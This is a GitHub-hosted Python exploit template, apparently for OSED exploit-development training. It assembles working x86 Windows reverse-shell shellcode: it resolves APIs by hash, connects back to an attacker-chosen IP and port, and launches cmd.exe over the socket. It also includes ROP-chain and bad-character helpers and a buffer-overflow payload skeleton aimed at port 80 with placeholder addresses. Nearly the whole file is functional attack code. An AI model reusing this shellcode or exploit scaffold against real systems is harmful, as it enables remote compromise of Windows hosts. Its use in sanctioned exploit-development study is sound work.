-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathOSED_exploit.py
481 lines (397 loc) · 17.9 KB
/
OSED_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
#!/usr/bin/python
import socket
from struct import pack
import struct
import argparse
import keystone as ks
import sys
import time
from capstone import CS_ARCH_X86, CS_MODE_32, Cs
# function_addr = leak_BaseAddr()
# baseAddr = parseAddr(function_addr) - 0x1e70
# def C(rop_address):
# " Converts preferred address of rop address to ASLR randomized address based on dllBase"
# return (baseAddr + (rop_address - prefaddr))
def p32(x:int)->bytes: return struct.pack("<I", (x + 0x1_0000_0000) % 0x1_0000_0000)
def to_hex(value:bytes)->str: return "".join(map(lambda b: f"\\x{b:02x}", value))
class RopChain:
def __init__(self, badchars):
self._badchars = bytes(badchars)
self._buffer = bytearray()
self._alignment = 4
def append(self, value):
append_bytes = p32(value) if isinstance(value, int) else bytes(value)
if any(map(lambda b: b in self._badchars, append_bytes)):
raise ValueError(f"{to_hex(append_bytes)} contains one of badchars {to_hex(self._badchars)}")
if len(append_bytes) % self._alignment != 0:
raise ValueError(f"{len(append_bytes)}, which is not align of {self._alignment}")
self._buffer.extend(append_bytes)
return self
def as_bytes(self)->bytes: return bytes(self._buffer)
def __str__(self)->str: return str(self._buffer)
def __len__(self)->int: return len(self._buffer)
class Shellcode:
def __init__(self, badchars):
self._badchars = bytes(badchars)
self._ks = ks.Ks(ks.KS_ARCH_X86, ks.KS_MODE_32)
self._cs = Cs(CS_ARCH_X86, CS_MODE_32)
def find_bad_chars(self, instructions, bad_chars):
asm = []
for insn in instructions:
found_bad_char = False
bytecode = ""
for b in insn.bytes:
byte_str = f"{b:02x}"
if b in bad_chars:
found_bad_char = True
# Highlight bad characters in red
byte_str = f"\033[91m{byte_str}\033[0m"
bytecode += byte_str
asm.append((found_bad_char, bytecode, insn.mnemonic, insn.op_str))
pad_length = max(len(line[1]) for line in asm) + 1
result = []
for found_bad_char, bytecode, mnemonic, op_str in asm:
bad_char_mark = "[x]" if found_bad_char else "[ ]"
padded_bytecode = bytecode.ljust(pad_length)
result.append(f"{bad_char_mark} {padded_bytecode}: {mnemonic} {op_str}")
return "\n".join(result)
def compile_and_check(self, asm_code):
encoding, count = self._ks.asm(asm_code)
self._buffer = bytearray(encoding)
contains_bad_chars = any(c in self._badchars for c in self._buffer)
if contains_bad_chars:
instructions = self._cs.disasm(self._buffer, 0)
asm = self.find_bad_chars(instructions, self._badchars)
print("\n# Bad chars were found in the shellcode")
print(asm)
sys.exit(1)
def as_bytes(self):
return bytes(self._buffer)
def as_bytearray(self):
return bytearray(self._buffer)
def __str__(self):
return ''.join(f'\\x{byte:02x}' for byte in self._buffer)
def __len__(self):
return len(self._buffer)
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=True)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=True)
parser.add_argument('-d', '--debug', help='Place int3 instruction in shellcode', action='store_true')
args = parser.parse_args()
def to_sin_ip(ip_address):
ip_addr_hex = []
for block in ip_address.split("."):
ip_addr_hex.append(format(int(block), "02x"))
ip_addr_hex.reverse()
return "0x" + "".join(ip_addr_hex)
def to_sin_port(port):
port_hex = format(int(port), "04x")
return "0x" + str(port_hex[2:4]) + str(port_hex[0:2])
def int3_if_debug():
if args.debug:
return 'int3;'
else:
return ''
def ror(byte, count):
count %= 0x20
return ((byte << (0x20 - count)) | (byte >> count)) & 0xFFFFFFFF
def compute_hash(module_name, function_name, key):
hash = (len(module_name) + 1) * 2
for c in function_name:
hash = ror(hash, key) + ord(c)
return hash
DEFAULT_HASH_KEY = 0xE
def find_hash_key(functions, bad_chars):
for key in range(0x20):
if not any(
any(
c in bad_chars
for c in compute_hash(m_name, f_name, key).to_bytes(4, "little")
)
for m_name, f_name in functions
):
while key in bad_chars:
key += 0x20
return key
print(
f"# Cannot find a good hash key, use default key ({hex(DEFAULT_HASH_KEY)}) to compute hash"
)
return DEFAULT_HASH_KEY
def push_hash(module_name, function_name, key=DEFAULT_HASH_KEY):
hash = compute_hash(module_name, function_name, key)
return f"push {hex(hash)};"
def convert_neg(dword):
return ((-int.from_bytes(dword, "little")) & 0xFFFFFFFF).to_bytes(4, "little")
def push_string(input_str, bad_chars, end=b"\x00"):
def gen_push_code(dword):
if not any(c in bad_chars for c in dword):
return f'push {hex(int.from_bytes(dword, "little"))};'
def gen_neg_code(dword):
neg_dword = convert_neg(dword)
if not any(c in bad_chars for c in neg_dword):
return (
f'mov eax, {hex(int.from_bytes(neg_dword, "little"))};'
f"neg eax;"
f"push eax;"
)
def gen_xor_code(dword):
xor_dword_1 = xor_dword_2 = b""
for i in range(4):
for xor_byte_1 in range(256):
xor_byte_2 = dword[i] ^ xor_byte_1
if (xor_byte_1 not in bad_chars) and (xor_byte_2 not in bad_chars):
xor_dword_1 += bytes([xor_byte_1])
xor_dword_2 += bytes([xor_byte_2])
break
else:
return None
return (
f'mov eax, {hex(int.from_bytes(xor_dword_1, "little"))};'
f'xor eax, {hex(int.from_bytes(xor_dword_2, "little"))};'
f"push eax;"
)
input_bytes = input_str.encode() if type(input_str) is str else input_str
input_bytes += end
code = ""
for i in range(0, len(input_bytes), 4)[::-1]:
pad_byte = [c for c in range(256) if c not in bad_chars][0]
dword = input_bytes[i : i + 4]
dword += bytes([pad_byte]) * (4 - len(dword))
new_code = gen_push_code(dword)
if not new_code:
new_code = gen_neg_code(dword)
if not new_code:
new_code = gen_xor_code(dword)
if not new_code:
raise Exception(f"cannot push dword: {dword}")
code += new_code
return code
bad_chars = b"\x00"
hash_key = find_hash_key(
[
("KERNEL32.DLL", "LoadLibraryA"),
("WS2_32.DLL", "WSAStartup"),
("WS2_32.DLL", "WSASocketA"),
("WS2_32.DLL", "WSAConnect"),
("KERNEL32.DLL", "CreateProcessA"),
("KERNEL32.DLL", "TerminateProcess")
], bad_chars
)
CODE = f"""
start:
{int3_if_debug()} // Breakpoint for Windbg
mov ebp, esp
add esp, 0xfffff9f0 // Avoid NULL bytes
find_and_call_shorten:
jmp find_and_call_shorten_bnc // Short jump
find_and_call_ret:
pop esi // POP the return address from the stack
mov [ebp+0x4], esi // Save find_and_call address for later usage
jmp find_and_call_hop
find_and_call_shorten_bnc:
call find_and_call_ret // Relative CALL with negative offset
find_and_call:
pushad // Save all registers
xor ecx, ecx // ECX = 0
mov esi,fs:[ecx+0x30] // ESI = &(PEB) ([FS:0x30])
mov esi,[esi+0x0C] // ESI = PEB->Ldr
mov esi,[esi+0x1C] // ESI = PEB->Ldr.InInitOrder
next_module:
push esi // Save InInitOrder for next module
mov ebx, [esi+0x08] // EBX = InInitOrder[X].base_address
movzx eax, byte ptr [esi+0x1E] // EAX = InInitOrder[X].module_name_length
mov [ebp-0x8], eax // Save ModuleNameLength for later
find_function:
mov eax, [ebx+0x3C] // Offset to PE Signature
mov edi, [ebx+eax+0x78] // Export Table Directory RVA
add edi, ebx // Export Table Directory VMA
mov ecx, [edi+0x18] // NumberOfNames
mov eax, [edi+0x20] // AddressOfNames RVA
add eax, ebx // AddressOfNames VMA
mov [ebp-0x4], eax // Save AddressOfNames VMA for later
find_function_loop:
jecxz get_next_module // Jump to the end if ECX is 0
dec ecx // Decrement our names counter
mov eax, [ebp-0x4] // Restore AddressOfNames VMA
mov esi, [eax+ecx*0x4] // Get the RVA of the symbol name
add esi, ebx // Set ESI to the VMA of the current symbol name
compute_hash:
xor eax, eax // EAX = 0
mov edx, [ebp-0x8] // EDX = ModuleNameLength
cld // Clear direction
compute_hash_again:
lodsb // Load the next byte from esi into al
test al, al // Check for NULL terminator
jz find_function_compare // If the ZF is set, we've hit the NULL term
ror edx, {hex(hash_key)} // Rotate edx key bits to the right
add edx, eax // Add the new byte to the accumulator
jmp compute_hash_again // Next iteration
find_and_call_hop:
jmp find_and_call_end
nop // * REMOVE 0x2B *
nop // * REMOVE 0x2B *
get_next_module:
pop esi // Restore InInitOrder
mov esi, [esi] // ESI = InInitOrder[X].flink (next)
jmp next_module
find_function_compare:
cmp edx, [esp+0x28] // Compare the computed hash with the requested hash
jnz find_function_loop // If it doesn't match go back to find_function_loop
mov edx, [edi+0x24] // AddressOfNameOrdinals RVA
add edx, ebx // AddressOfNameOrdinals VMA
mov ax, [edx+2*ecx] // * REMOVE 0x0C *
mov cx, ax // * REMOVE 0x0C *
mov edx, [edi+0x1C] // AddressOfFunctions RVA
add edx, ebx // AddressOfFunctions VMA
mov eax, [edx+4*ecx] // Get the function RVA
add eax, ebx // Get the function VMA
mov [esp+0x20], eax // Overwrite stack version of eax from pushad
call_function:
pop esi // Remove InInitOrder
popad // Restore registers
pop ecx // Escape return address
pop edx // Remove hash
push ecx // Set return address
jmp eax // Call found function
find_and_call_end:
load_ws2_32: // HMODULE LoadLibraryA([in] LPCSTR lpLibFileName);
{push_string('WS2_32.DLL', bad_chars)}
push esp // lpLibFileName = &("ws2_32.dll")
{push_hash('KERNEL32.DLL', 'LoadLibraryA', hash_key)}
call dword ptr [ebp+0x04] // Call LoadLibraryA
call_wsastartup: // int WSAStartup(WORD wVersionRequired, [out] LPWSADATA lpWSAData);
mov eax, esp // eax = esp
xor ecx, ecx // ecx = 0
mov cx, 0x590 // ecx = 0x590
sub eax, ecx // Substract CX from EAX to avoid overwriting the structure later
push eax // lpWSAData = &(lpwsadata) (esp - 0x590)
xor eax, eax // eax = 0
mov ax, 0x0202 // eax = 0x202
push eax // wVersionRequired = 0x202
{push_hash('WS2_32.DLL', 'WSAStartup', hash_key)}
call dword ptr [ebp+0x04] // Call WSAStartup
call_wsasocketa: // SOCKET WSAAPI WSASocketA([in] int af, [in] int type, [in] int protocol, [in] LPWSAPROTOCOL_INFOA lpProtocolInfo, [in] GROUP g, [in] DWORD dwFlags);
xor eax, eax // EAX = 0
push eax // dwFlags = NULL
push eax // g = NULL
push eax // lpProtocolInfo = NULL
mov al, 0x06 // eax = 0x6
push eax // protocol = 0x6
sub al, 0x05 // eax = 0x1
push eax // type = 0x1
inc eax // eax = 0x2
push eax // eax = 0x2
{push_hash('WS2_32.DLL', 'WSASocketA', hash_key)}
call dword ptr [ebp+0x04] // Call WSASocketA
mov esi, eax // esi = sock
create_sockaddr_in: // typedef struct sockaddr_in ADDRESS_FAMILY sin_family = AF_INET (0x2); USHORT sin_port; IN_ADDR sin_addr = 0; CHAR sin_zero[8];
xor eax, eax // eax = 0
push eax // sin_zero[4:8] = NULL
push eax // sin_zero[0:4] = NULL
push {to_sin_ip(args.ipaddress)};
mov ax, {to_sin_port(args.port)} // eax = port
shl eax, 0x10 // eax = (port << 0x10)
add ax, 0x02 // eax = (port << 0x10) + 0x2
push eax // sin_port = port; sin_family = 0x2
push esp // Set &(sockaddr_in)
pop edi // edi = &(sockaddr_in)
call_wsaconnect: // int WSAAPI WSAConnect([in] SOCKET s, [in] const sockaddr *name, [in] int namelen, [in] LPWSABUF lpCallerData, [out] LPWSABUF lpCalleeData, [in] LPQOS lpSQOS, [in] LPQOS lpGQOS);
xor eax, eax // eax = 0
push eax // lpGQOS = NULL
push eax // lpSQOS = NULL
push eax // lpCalleeData = NULL
push eax // lpCallerData = NULL
add al, 0x10 // eax = 0x10
push eax // namelen = 0x10
push edi // *name = &(sockaddr_in)
push esi // s = sock
{push_hash('WS2_32.DLL', 'WSAConnect', hash_key)}
call dword ptr [ebp+0x04] // Call WSAConnect
create_startupinfoa: // typedef struct _STARTUPINFOA | DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError;
push esi // hStdError = sock
push esi // hStdOutput = sock
push esi // hStdInput = sock
xor eax, eax // eax = NULL
lea ecx, [eax + 0xd] // ecx = loop limit
create_startupinfoa_push_loop:
push eax // Set NULL dword
loop create_startupinfoa_push_loop // ecx = 0xd; do |ecx--; ...| while (ecx > 0)
mov al, 0x44 // eax = 0x44
push eax // cb = 0x44
push esp // Set &(startupinfoa)
pop edi // edi = &(startupinfoa)
mov word ptr [edi + 4*11], 0x101 // dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
create_cmd_string:
{push_string('cmd.exe', bad_chars)}
mov ebx, esp
call_createprocessa: // BOOL CreateProcessA([in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation)
mov eax, esp // Move ESP to EAX
xor ecx, ecx // ecx = 0
mov cx, 0x390 // ecx = 0x390
sub eax, ecx // eax = &(processinformation) (esp - 0x390)
push eax // lpProcessInformation = &(processinformation)
push edi // lpStartupInfo = &(startupinfoa)
xor eax, eax // EAX = 0
push eax // lpCurrentDirectory = NULL
push eax // lpEnvironment = NULL
push eax // dwCreationFlags = NULL
inc eax // eax = true
push eax // bInheritHandles = true
dec eax // EAX = 0
push eax // lpThreadAttributes = NULL
push eax // lpProcessAttributes = NULL
push ebx // lpCommandLine = &("cmd.exe")
push eax // lpApplicationName = NULL
{push_hash('KERNEL32.DLL', 'CreateProcessA', hash_key)}
call dword ptr [ebp+0x04] // Call CreateProcessA
call_terminateprocess: // BOOL TerminateProcess([in] HANDLE hProcess, [in] UINT uExitCode);
xor ecx, ecx // ECX = 0
push ecx // uExitCode = 0
push 0xffffffff // hProcess = 0xffffffff
{push_hash('KERNEL32.DLL', 'TerminateProcess', hash_key)}
call dword ptr [ebp+0x04] // Call TerminateProcess
"""
print(CODE)
sc = Shellcode(bad_chars)
sc.compile_and_check(CODE)
shellcode = sc.as_bytearray()
while True:
try:
server = args.target
port = 80
size = 840
eip_offset = 780
# Change these depending on what you want to use
va = pack("<L", (0x45454545)) # dummy VirtualAlloc Address
va += pack("<L", (0x46464646)) # Shellcode Return Address
va += pack("<L", (0x47474747)) # # dummy Shellcode Address
va += pack("<L", (0x48484848)) # dummy dwSize
va += pack("<L", (0x49494949)) # # dummy flAllocationType (0x1000)
va += pack("<L", (0x51515151)) # dummy flProtect (0x40)
inputBuffer = va
ropchain = RopChain(bad_chars)
# ROPCHAIN
# ropchain.append(0x10154112) # push esp ; inc ecx ; adc eax,
# Shellcode
shellcode = b""
# shellcode = b"\x90" * 30
# shellcode += sc.as_bytes()
payload = ropchain.as_bytes()
inputBuffer += payload
inputBuffer += shellcode
inputBuffer += b"A" * (eip_offset - len(inputBuffer))
# EIP
inputBuffer += pack("<L", (0x12345678))
# Rest of padding
inputBuffer += b"\x90" * (size - len(inputBuffer))
# print("Sending evil buffer...")
# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect((server, port))
# s.send(inputBuffer)
# s.close()
# print("Done!")
sys.exit(0)
except socket.error:
print("Could not connect! Retrying in 1 second.")
time.sleep(1)